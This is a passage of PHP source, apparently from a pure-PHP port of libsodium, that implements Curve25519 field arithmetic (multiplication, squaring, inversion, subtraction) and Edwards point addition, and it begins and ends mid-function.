        $f6g5_19 = self::mul($g5_19, $f6, 26);
        $f6g6_19 = self::mul($g6_19, $f6, 26);
        $f6g7_19 = self::mul($g7_19, $f6, 26);
        $f6g8_19 = self::mul($g8_19, $f6, 26);
        $f6g9_19 = self::mul($g9_19, $f6, 26);
        $f7g0    = self::mul($f7,    $g0, 26);
        $f7g1_2  = self::mul($f7_2,  $g1, 25);
        $f7g2    = self::mul($f7,    $g2, 26);
        $f7g3_38 = self::mul($g3_19, $f7_2, 26);
        $f7g4_19 = self::mul($g4_19, $f7, 26);
        $f7g5_38 = self::mul($g5_19, $f7_2, 26);
        $f7g6_19 = self::mul($g6_19, $f7, 25);
        $f7g7_38 = self::mul($g7_19, $f7_2, 26);
        $f7g8_19 = self::mul($g8_19, $f7, 25);
        $f7g9_38 = self::mul($g9_19,$f7_2, 26);
        $f8g0    = self::mul($f8,    $g0, 26);
        $f8g1    = self::mul($f8,    $g1, 25);
        $f8g2_19 = self::mul($g2_19, $f8, 26);
        $f8g3_19 = self::mul($g3_19, $f8, 26);
        $f8g4_19 = self::mul($g4_19, $f8, 26);
        $f8g5_19 = self::mul($g5_19, $f8, 26);
        $f8g6_19 = self::mul($g6_19, $f8, 26);
        $f8g7_19 = self::mul($g7_19, $f8, 26);
        $f8g8_19 = self::mul($g8_19, $f8, 26);
        $f8g9_19 = self::mul($g9_19, $f8, 26);
        $f9g0    = self::mul($f9,    $g0, 26);
        $f9g1_38 = self::mul($g1_19, $f9_2, 26);
        $f9g2_19 = self::mul($g2_19, $f9, 25);
        $f9g3_38 = self::mul($g3_19, $f9_2, 26);
        $f9g4_19 = self::mul($g4_19, $f9, 25);
        $f9g5_38 = self::mul($g5_19, $f9_2, 26);
        $f9g6_19 = self::mul($g6_19, $f9, 25);
        $f9g7_38 = self::mul($g7_19, $f9_2, 26);
        $f9g8_19 = self::mul($g8_19, $f9, 25);
        $f9g9_38 = self::mul($g9_19, $f9_2, 26);
        $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 + $f5g5_38
+ $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38;
        $h1 = $f0g1 + $f1g0    + $f2g9_19 + $f3g8_19 + $f4g7_19 + $f5g6_19
+ $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19;
        $h2 = $f0g2 + $f1g1_2  + $f2g0    + $f3g9_38 + $f4g8_19 + $f5g7_38
+ $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38;
        $h3 = $f0g3 + $f1g2    + $f2g1    + $f3g0    + $f4g9_19 + $f5g8_19
+ $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19;
        $h4 = $f0g4 + $f1g3_2  + $f2g2    + $f3g1_2  + $f4g0    + $f5g9_38
+ $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38;
        $h5 = $f0g5 + $f1g4    + $f2g3    + $f3g2    + $f4g1    + $f5g0   
+ $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19;
        $h6 = $f0g6 + $f1g5_2  + $f2g4    + $f3g3_2  + $f4g2    + $f5g1_2 
+ $f6g0    + $f7g9_38 + $f8g8_19 + $f9g7_38;
        $h7 = $f0g7 + $f1g6    + $f2g5    + $f3g4    + $f4g3    + $f5g2   
+ $f6g1    + $f7g0    + $f8g9_19 + $f9g8_19;
        $h8 = $f0g8 + $f1g7_2  + $f2g6    + $f3g5_2  + $f4g4    + $f5g3_2 
+ $f6g2    + $f7g1_2  + $f8g0    + $f9g9_38;
        $h9 = $f0g9 + $f1g8    + $f2g7    + $f3g6    + $f4g5    + $f5g4   
+ $f6g3    + $f7g2    + $f8g1    + $f9g0   ;

        /** @var int $carry0 */
        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        /** @var int $carry4 */
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        /** @var int $carry1 */
        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        /** @var int $carry5 */
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        /** @var int $carry2 */
        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        /** @var int $carry6 */
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        /** @var int $carry3 */
        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        /** @var int $carry7 */
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        /** @var int $carry4 */
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        /** @var int $carry8 */
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        /** @var int $carry9 */
        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        /** @var int $carry0 */
        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(
                (int) $h0,
                (int) $h1,
                (int) $h2,
                (int) $h3,
                (int) $h4,
                (int) $h5,
                (int) $h6,
                (int) $h7,
                (int) $h8,
                (int) $h9
            )
        );
    }

    /**
     * Get the negative values for each piece of the field element.
     *
     * h = -f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     */
    public static function fe_neg(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $h = new ParagonIE_Sodium_Core_Curve25519_Fe();
        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = -$f[$i];
        }
        return $h;
    }

    /**
     * Square a field element
     *
     * h = f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_sq(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $f0 = (int) $f[0];
        $f1 = (int) $f[1];
        $f2 = (int) $f[2];
        $f3 = (int) $f[3];
        $f4 = (int) $f[4];
        $f5 = (int) $f[5];
        $f6 = (int) $f[6];
        $f7 = (int) $f[7];
        $f8 = (int) $f[8];
        $f9 = (int) $f[9];

        /** @var int $f0_2 */
        $f0_2 = $f0 << 1;
        /** @var int $f1_2 */
        $f1_2 = $f1 << 1;
        /** @var int $f2_2 */
        $f2_2 = $f2 << 1;
        /** @var int $f3_2 */
        $f3_2 = $f3 << 1;
        /** @var int $f4_2 */
        $f4_2 = $f4 << 1;
        /** @var int $f5_2 */
        $f5_2 = $f5 << 1;
        /** @var int $f6_2 */
        $f6_2 = $f6 << 1;
        /** @var int $f7_2 */
        $f7_2 = $f7 << 1;
        $f5_38 = self::mul($f5, 38, 6);
        $f6_19 = self::mul($f6, 19, 5);
        $f7_38 = self::mul($f7, 38, 6);
        $f8_19 = self::mul($f8, 19, 5);
        $f9_38 = self::mul($f9, 38, 6);
        $f0f0    = self::mul($f0,    $f0,    25);
        $f0f1_2  = self::mul($f0_2,  $f1,    24);
        $f0f2_2  = self::mul($f0_2,  $f2,    25);
        $f0f3_2  = self::mul($f0_2,  $f3,    24);
        $f0f4_2  = self::mul($f0_2,  $f4,    25);
        $f0f5_2  = self::mul($f0_2,  $f5,    25);
        $f0f6_2  = self::mul($f0_2,  $f6,    25);
        $f0f7_2  = self::mul($f0_2,  $f7,    24);
        $f0f8_2  = self::mul($f0_2,  $f8,    25);
        $f0f9_2  = self::mul($f0_2,  $f9,    25);
        $f1f1_2  = self::mul($f1_2,  $f1,    24);
        $f1f2_2  = self::mul($f1_2,  $f2,    25);
        $f1f3_4  = self::mul($f1_2,  $f3_2,  25);
        $f1f4_2  = self::mul($f1_2,  $f4,    25);
        $f1f5_4  = self::mul($f1_2,  $f5_2,  26);
        $f1f6_2  = self::mul($f1_2,  $f6,    25);
        $f1f7_4  = self::mul($f1_2,  $f7_2,  25);
        $f1f8_2  = self::mul($f1_2,  $f8,    25);
        $f1f9_76 = self::mul($f9_38, $f1_2,  25);
        $f2f2    = self::mul($f2,    $f2,    25);
        $f2f3_2  = self::mul($f2_2,  $f3,    24);
        $f2f4_2  = self::mul($f2_2,  $f4,    25);
        $f2f5_2  = self::mul($f2_2,  $f5,    25);
        $f2f6_2  = self::mul($f2_2,  $f6,    25);
        $f2f7_2  = self::mul($f2_2,  $f7,    24);
        $f2f8_38 = self::mul($f8_19, $f2_2,  26);
        $f2f9_38 = self::mul($f9_38, $f2,    25);
        $f3f3_2  = self::mul($f3_2,  $f3,    24);
        $f3f4_2  = self::mul($f3_2,  $f4,    25);
        $f3f5_4  = self::mul($f3_2,  $f5_2,  26);
        $f3f6_2  = self::mul($f3_2,  $f6,    25);
        $f3f7_76 = self::mul($f7_38, $f3_2,  25);
        $f3f8_38 = self::mul($f8_19, $f3_2,  25);
        $f3f9_76 = self::mul($f9_38, $f3_2,  25);
        $f4f4    = self::mul($f4,    $f4,    25);
        $f4f5_2  = self::mul($f4_2,  $f5,    25);
        $f4f6_38 = self::mul($f6_19, $f4_2,  26);
        $f4f7_38 = self::mul($f7_38, $f4,    25);
        $f4f8_38 = self::mul($f8_19, $f4_2,  26);
        $f4f9_38 = self::mul($f9_38, $f4,    25);
        $f5f5_38 = self::mul($f5_38, $f5,    25);
        $f5f6_38 = self::mul($f6_19, $f5_2,  26);
        $f5f7_76 = self::mul($f7_38, $f5_2,  26);
        $f5f8_38 = self::mul($f8_19, $f5_2,  26);
        $f5f9_76 = self::mul($f9_38, $f5_2,  26);
        $f6f6_19 = self::mul($f6_19, $f6,    25);
        $f6f7_38 = self::mul($f7_38, $f6,    25);
        $f6f8_38 = self::mul($f8_19, $f6_2,  26);
        $f6f9_38 = self::mul($f9_38, $f6,    25);
        $f7f7_38 = self::mul($f7_38, $f7,    24);
        $f7f8_38 = self::mul($f8_19, $f7_2,  25);
        $f7f9_76 = self::mul($f9_38, $f7_2,  25);
        $f8f8_19 = self::mul($f8_19, $f8,    25);
        $f8f9_38 = self::mul($f9_38, $f8,    25);
        $f9f9_38 = self::mul($f9_38, $f9,    25);
        $h0 = $f0f0   + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 +
$f5f5_38;
        $h1 = $f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38;
        $h2 = $f0f2_2 + $f1f1_2  + $f3f9_76 + $f4f8_38 + $f5f7_76 +
$f6f6_19;
        $h3 = $f0f3_2 + $f1f2_2  + $f4f9_38 + $f5f8_38 + $f6f7_38;
        $h4 = $f0f4_2 + $f1f3_4  + $f2f2    + $f5f9_76 + $f6f8_38 +
$f7f7_38;
        $h5 = $f0f5_2 + $f1f4_2  + $f2f3_2  + $f6f9_38 + $f7f8_38;
        $h6 = $f0f6_2 + $f1f5_4  + $f2f4_2  + $f3f3_2  + $f7f9_76 +
$f8f8_19;
        $h7 = $f0f7_2 + $f1f6_2  + $f2f5_2  + $f3f4_2  + $f8f9_38;
        $h8 = $f0f8_2 + $f1f7_4  + $f2f6_2  + $f3f5_4  + $f4f4    +
$f9f9_38;
        $h9 = $f0f9_2 + $f1f8_2  + $f2f7_2  + $f3f6_2  + $f4f5_2;

        /** @var int $carry0 */
        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        /** @var int $carry4 */
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        /** @var int $carry1 */
        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        /** @var int $carry5 */
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        /** @var int $carry2 */
        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        /** @var int $carry6 */
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        /** @var int $carry3 */
        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        /** @var int $carry7 */
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        /** @var int $carry4 */
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        /** @var int $carry8 */
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        /** @var int $carry9 */
        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        /** @var int $carry0 */
        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(
                (int) $h0,
                (int) $h1,
                (int) $h2,
                (int) $h3,
                (int) $h4,
                (int) $h5,
                (int) $h6,
                (int) $h7,
                (int) $h8,
                (int) $h9
            )
        );
    }


    /**
     * Square and double a field element
     *
     * h = 2 * f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_sq2(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $f0 = (int) $f[0];
        $f1 = (int) $f[1];
        $f2 = (int) $f[2];
        $f3 = (int) $f[3];
        $f4 = (int) $f[4];
        $f5 = (int) $f[5];
        $f6 = (int) $f[6];
        $f7 = (int) $f[7];
        $f8 = (int) $f[8];
        $f9 = (int) $f[9];

        /** @var int $f0_2 */
        $f0_2 = $f0 << 1;
        /** @var int $f1_2 */
        $f1_2 = $f1 << 1;
        /** @var int $f2_2 */
        $f2_2 = $f2 << 1;
        /** @var int $f3_2 */
        $f3_2 = $f3 << 1;
        /** @var int $f4_2 */
        $f4_2 = $f4 << 1;
        /** @var int $f5_2 */
        $f5_2 = $f5 << 1;
        /** @var int $f6_2 */
        $f6_2 = $f6 << 1;
        /** @var int $f7_2 */
        $f7_2 = $f7 << 1;
        $f5_38 = self::mul($f5, 38, 6); /* 1.959375*2^30 */
        $f6_19 = self::mul($f6, 19, 5); /* 1.959375*2^30 */
        $f7_38 = self::mul($f7, 38, 6); /* 1.959375*2^30 */
        $f8_19 = self::mul($f8, 19, 5); /* 1.959375*2^30 */
        $f9_38 = self::mul($f9, 38, 6); /* 1.959375*2^30 */
        $f0f0 = self::mul($f0, $f0, 24);
        $f0f1_2 = self::mul($f0_2, $f1, 24);
        $f0f2_2 = self::mul($f0_2, $f2, 24);
        $f0f3_2 = self::mul($f0_2, $f3, 24);
        $f0f4_2 = self::mul($f0_2, $f4, 24);
        $f0f5_2 = self::mul($f0_2, $f5, 24);
        $f0f6_2 = self::mul($f0_2, $f6, 24);
        $f0f7_2 = self::mul($f0_2, $f7, 24);
        $f0f8_2 = self::mul($f0_2, $f8, 24);
        $f0f9_2 = self::mul($f0_2, $f9, 24);
        $f1f1_2 = self::mul($f1_2,  $f1, 24);
        $f1f2_2 = self::mul($f1_2,  $f2, 24);
        $f1f3_4 = self::mul($f1_2,  $f3_2, 24);
        $f1f4_2 = self::mul($f1_2,  $f4, 24);
        $f1f5_4 = self::mul($f1_2,  $f5_2, 24);
        $f1f6_2 = self::mul($f1_2,  $f6, 24);
        $f1f7_4 = self::mul($f1_2,  $f7_2, 24);
        $f1f8_2 = self::mul($f1_2,  $f8, 24);
        $f1f9_76 = self::mul($f9_38, $f1_2, 24);
        $f2f2 = self::mul($f2,  $f2, 24);
        $f2f3_2 = self::mul($f2_2,  $f3, 24);
        $f2f4_2 = self::mul($f2_2,  $f4, 24);
        $f2f5_2 = self::mul($f2_2,  $f5, 24);
        $f2f6_2 = self::mul($f2_2,  $f6, 24);
        $f2f7_2 = self::mul($f2_2,  $f7, 24);
        $f2f8_38 = self::mul($f8_19, $f2_2, 25);
        $f2f9_38 = self::mul($f9_38, $f2, 24);
        $f3f3_2 = self::mul($f3_2,  $f3, 24);
        $f3f4_2 = self::mul($f3_2,  $f4, 24);
        $f3f5_4 = self::mul($f3_2,  $f5_2, 24);
        $f3f6_2 = self::mul($f3_2,  $f6, 24);
        $f3f7_76 = self::mul($f7_38, $f3_2, 24);
        $f3f8_38 = self::mul($f8_19, $f3_2, 24);
        $f3f9_76 = self::mul($f9_38, $f3_2, 24);
        $f4f4 = self::mul($f4,  $f4, 24);
        $f4f5_2 = self::mul($f4_2,  $f5, 24);
        $f4f6_38 = self::mul($f6_19, $f4_2, 25);
        $f4f7_38 = self::mul($f7_38, $f4, 24);
        $f4f8_38 = self::mul($f8_19, $f4_2, 25);
        $f4f9_38 = self::mul($f9_38, $f4, 24);
        $f5f5_38 = self::mul($f5_38, $f5, 24);
        $f5f6_38 = self::mul($f6_19, $f5_2, 24);
        $f5f7_76 = self::mul($f7_38, $f5_2, 24);
        $f5f8_38 = self::mul($f8_19, $f5_2, 24);
        $f5f9_76 = self::mul($f9_38, $f5_2, 24);
        $f6f6_19 = self::mul($f6_19, $f6, 24);
        $f6f7_38 = self::mul($f7_38, $f6, 24);
        $f6f8_38 = self::mul($f8_19, $f6_2, 25);
        $f6f9_38 = self::mul($f9_38, $f6, 24);
        $f7f7_38 = self::mul($f7_38, $f7, 24);
        $f7f8_38 = self::mul($f8_19, $f7_2, 24);
        $f7f9_76 = self::mul($f9_38, $f7_2, 24);
        $f8f8_19 = self::mul($f8_19, $f8, 24);
        $f8f9_38 = self::mul($f9_38, $f8, 24);
        $f9f9_38 = self::mul($f9_38, $f9, 24);

        /** @var int $h0 */
        $h0 = (int) ($f0f0 + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 +
$f5f5_38) << 1;
        /** @var int $h1 */
        $h1 = (int) ($f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38)
<< 1;
        /** @var int $h2 */
        $h2 = (int) ($f0f2_2 + $f1f1_2  + $f3f9_76 + $f4f8_38 + $f5f7_76 +
$f6f6_19) << 1;
        /** @var int $h3 */
        $h3 = (int) ($f0f3_2 + $f1f2_2  + $f4f9_38 + $f5f8_38 + $f6f7_38)
<< 1;
        /** @var int $h4 */
        $h4 = (int) ($f0f4_2 + $f1f3_4  + $f2f2    + $f5f9_76 + $f6f8_38 +
$f7f7_38) << 1;
        /** @var int $h5 */
        $h5 = (int) ($f0f5_2 + $f1f4_2  + $f2f3_2  + $f6f9_38 + $f7f8_38)
<< 1;
        /** @var int $h6 */
        $h6 = (int) ($f0f6_2 + $f1f5_4  + $f2f4_2  + $f3f3_2  + $f7f9_76 +
$f8f8_19) << 1;
        /** @var int $h7 */
        $h7 = (int) ($f0f7_2 + $f1f6_2  + $f2f5_2  + $f3f4_2  + $f8f9_38)
<< 1;
        /** @var int $h8 */
        $h8 = (int) ($f0f8_2 + $f1f7_4  + $f2f6_2  + $f3f5_4  + $f4f4    +
$f9f9_38) << 1;
        /** @var int $h9 */
        $h9 = (int) ($f0f9_2 + $f1f8_2  + $f2f7_2  + $f3f6_2  + $f4f5_2)
<< 1;

        /** @var int $carry0 */
        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        /** @var int $carry4 */
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        /** @var int $carry1 */
        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        /** @var int $carry5 */
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        /** @var int $carry2 */
        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        /** @var int $carry6 */
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        /** @var int $carry3 */
        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        /** @var int $carry7 */
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        /** @var int $carry4 */
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        /** @var int $carry8 */
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        /** @var int $carry9 */
        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        /** @var int $carry0 */
        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(
                (int) $h0,
                (int) $h1,
                (int) $h2,
                (int) $h3,
                (int) $h4,
                (int) $h5,
                (int) $h6,
                (int) $h7,
                (int) $h8,
                (int) $h9
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $Z
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_invert(ParagonIE_Sodium_Core_Curve25519_Fe
$Z)
    {
        $z = clone $Z;
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t2 = self::fe_sq($t0);
        $t1 = self::fe_mul($t1, $t2);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 20; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 100; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }
        return self::fe_mul($t1, $t0);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref
https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $z
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_pow22523(ParagonIE_Sodium_Core_Curve25519_Fe
$z)
    {
        # fe_sq(t0, z);
        # fe_sq(t1, t0);
        # fe_sq(t1, t1);
        # fe_mul(t1, z, t1);
        # fe_mul(t0, t0, t1);
        # fe_sq(t0, t0);
        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 5; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 20; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 20; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 100; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 100; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t0, t0);
        # fe_sq(t0, t0);
        # fe_mul(out, t0, z);
        $t0 = self::fe_mul($t1, $t0);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_sq($t0);
        return self::fe_mul($t0, $z);
    }

    /**
     * Subtract two field elements.
     *
     * h = f - g
     *
     * Preconditions:
     * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     *
     * Postconditions:
     * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedOperand
     */
    public static function fe_sub(ParagonIE_Sodium_Core_Curve25519_Fe $f,
ParagonIE_Sodium_Core_Curve25519_Fe $g)
    {
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(
                (int) ($f[0] - $g[0]),
                (int) ($f[1] - $g[1]),
                (int) ($f[2] - $g[2]),
                (int) ($f[3] - $g[3]),
                (int) ($f[4] - $g[4]),
                (int) ($f[5] - $g[5]),
                (int) ($f[6] - $g[6]),
                (int) ($f[7] - $g[7]),
                (int) ($f[8] - $g[8]),
                (int) ($f[9] - $g[9])
            )
        );
    }

    /**
     * Add two group elements.
     *
     * r = p + q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_add(
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YplusX);
        $r->Y = self::fe_mul($r->Y, $q->YminusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0   = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref
https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215
     * @param string $a
     * @return array<int, mixed>
     * @throws SodiumException
     * @throws TypeError
     */
    public static function slide($a)
    {
        if (self::strlen($a) < 256) {
            if (self::strlen($a) < 16) {
                $a = str_pad($a, 256, '0', STR_PAD_RIGHT);
            }
        }
        /** @var array<int, int> $r */
        $r = array();

        /** @var int $i */
